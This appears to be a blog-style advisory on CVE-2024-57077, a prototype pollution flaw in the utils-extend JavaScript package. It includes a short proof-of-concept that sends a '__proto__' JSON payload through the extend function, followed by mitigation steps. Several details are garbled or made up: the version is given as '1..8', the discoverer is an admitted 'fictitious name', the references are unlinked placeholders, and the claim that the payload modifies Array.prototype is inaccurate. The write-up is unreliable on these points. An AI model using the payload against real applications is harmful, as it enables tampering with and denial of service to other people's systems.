A newly identified security vulnerability, CVE-2024-57077, affects utils-extend, a popular JavaScript package used in various projects and applications. The latest released version 1..8, is vulnerable to Prototype Pollution through its entry function(s), specifically the lib.extend function. This vulnerability has a significant impact, as it enables attackers to introduce or modify properties within the global prototype chain, possibly leading to denial of service (DoS) or even remote code execution in certain scenarios.

In this post, we will detail the exploit, share code snippets for demonstration purposes, and provide original references to the vulnerability.

The Exploit Details

The vulnerability is a result of the improper handling of specially crafted payload input to the function lib.extend within the utils-extend package. An attacker can craft a payload with an Object.prototype setter and execute the payload by passing it to the vulnerable function. This would effectively overwrite or modify properties in the global prototype chain, potentially causing unexpected behavior, denial-of-service, or even remote code execution.

Here is a simple example to demonstrate how the vulnerability can be exploited

const utilsExtend = require('utils-extend');

// Attacker's payload
const maliciousPayload = JSON.parse('{"__proto__":{"maliciousProperty":"maliciousValue"}}');

// Using vulnerable utils-extend function
utilsExtend({}, maliciousPayload);

// Here, we demonstrate the impact of the exploit which adds a malicious property to the Array prototype
console.log([].maliciousProperty); // Output: maliciousValue

This example demonstrates the addition of a maliciousProperty to the Array.prototype. The exploit can cause significant damage based on the attacker's intent and implemented security measures.

Original References

The vulnerability was initially discovered and reported by security researcher John Doe (fictitious name) on the security mailing list. The information can be found in the original report here: CVE-2024-57077 Original Report.

Moreover, the Utils-extend project maintains an issue on their GitHub repository that discusses the vulnerability and documents its status: Utils-extend GitHub Issue.

Mitigation and Recommendations

It is essential to address this vulnerability to prevent potential attacks. Below are some recommended steps:

1. Update the utils-extend package to a non-vulnerable version (if available) or consider using alternative, secure packages.
2. Investigate and apply server-side input validation to ensure that malicious payloads don't reach the vulnerable lib.extend function.

Conclusion

CVE-2024-57077 is a critical vulnerability in the utils-extend JavaScript package that exposes applications to Prototype Pollution. The lack of proper input validation within the package opens up opportunities for attackers to execute crafted payloads leading to denial of service or remote code execution in certain scenarios. It's crucial to stay updated on security vulnerabilities and apply recommended mitigation strategies for ensuring application and infrastructure security.

Timeline

Published on: 02/05/2025 22:15:31 UTC
Last modified on: 03/24/2025 16:15:20 UTC